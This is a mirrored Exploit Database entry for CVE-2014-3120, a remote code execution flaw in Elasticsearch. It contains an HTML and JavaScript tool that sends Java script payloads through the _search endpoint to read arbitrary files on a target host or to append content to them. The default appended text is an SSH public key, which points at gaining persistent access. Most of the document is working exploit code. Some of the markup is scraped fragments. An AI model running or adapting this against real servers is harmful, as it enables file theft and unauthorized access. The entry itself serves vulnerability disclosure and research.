ElasticSearch – Remote Code Execution

Exploit Database
116 阅读

作者： Jeff Geiger

日期： 2014-05-15
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/33370/

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<!--

##CVE-2014-3120 Elastic Search Remote Code Execution

This project demonstrates the CVE-2014-3120 vulnerability/misconfiguration.It allows you to read from and append to files on the system hosting ES, provided the user running ES has access to them.

###Notes

This does not require a web server.Save it locally and run it from a browser.

Discovery and vuln publishing credit goes to: @BvdBijl - http://bouk.co/blog/elasticsearch-rce/

-->

<style>

body {

padding-top: 50px;

}

.starter-template {

padding: 40px 15px;

text-align: center;

}

</style>

</head>

function es_inject() {

var read_file;

var write_file;

read_file = function(filename) {

return ("import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"" + filename + "\")).useDelimiter(\"\\\\Z\").next();");

};

write_file = function(filename) {

return ("import java.util.*;\nimport java.io.*;\nPrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"" + filename + "\", true)));\nwriter.println(\"" + document.getElementById("element_2").value + "\");\nwriter.close();");

};

$(function() {

var payload, filename, files, host, _i, _len;

files = [document.getElementById("element_3").value];

payload = {

"size": 1,

"query": {

"filtered": {

"query": {

"match_all": {}

}

"script_fields": {}

};

if (document.getElementById("element_4").checked) {

for (_i = 0, _len = files.length; _i < _len; _i++) {

filename = files[_i];

payload["script_fields"][filename] = {

"script": write_file(filename)

};

}

} else {

for (_i = 0, _len = files.length; _i < _len; _i++) {

filename = files[_i];

payload["script_fields"][filename] = {

"script": read_file(filename)

};

}

$.getJSON("http://" + document.getElementById("element_1").value + ":9200/_search?source=" + (encodeURIComponent(JSON.stringify(payload))) + "&callback=?", function(data) {

var content, contents, hit, _j, _len1, _ref, _results;

console.log(data);

_ref = data["hits"]["hits"];

_results = [];

for (_j = 0, _len1 = _ref.length; _j < _len1; _j++) {

hit = _ref[_j];

_results.push((function() {

var _k, _len2, _ref1;

_ref1 = hit["fields"];

for (filename in _ref1) {

contents = _ref1[filename];

document.getElementById("script_results").innerHTML += ("<h2>" + filename + "</h2>");

for (_k = 0, _len2 = contents.length; _k < _len2; _k++) {

content = contents[_k];

document.getElementById("script_results").innerHTML += (content);

}

document.getElementById("script_results").innerHTML += ("<hr>");

//document.getElementById("script_results").innerHTML += (document.getElementById("element_4").checked);

}

})());

}

return _results;

});

};

//es_inject();

</script>

<body>

<span class="sr-only">Toggle navigation</span>

</button>

<a class="navbar-brand" href="https://www.exploit-db.com/exploits/33370/#">Elastic Inject</a>

</div>

<h2>CVE-2014-3120 Elastic Search Remote Code Execution</h2>

<p class="lead">This will read and write files from an ES instance vulnerable to CVE-2014-3120.<br> This is for demonstration purposes only.</p>

</div>

<label for="element_1">ES_IP_Address: </label><br/>

<label for="element_3">File to read/append to: </label><br/>

<label class="description" for="element_2">Content to append: </label><br/>

<textarea id="element_2" name="element_2" class="element textarea large">YOUR_SSH_PUBLIC_KEY or SOMETHING</textarea> <br/>

<input id="element_4" type="checkbox" name="es_action" value="write">WRITE<br/>

<button onclick="es_inject();">Click me</button>

<h3>Your file contents should appear below if a read is successful. </h3>

</div>

Original vulnerability discovered by <a href="https://twitter.com/bvdbijl"> @BvdBijl</a>- <a href="http://bouk.co/blog/elasticsearch-rce/">http://bouk.co/blog/elasticsearch-rce/</a>

</div>

</div>

</body></html>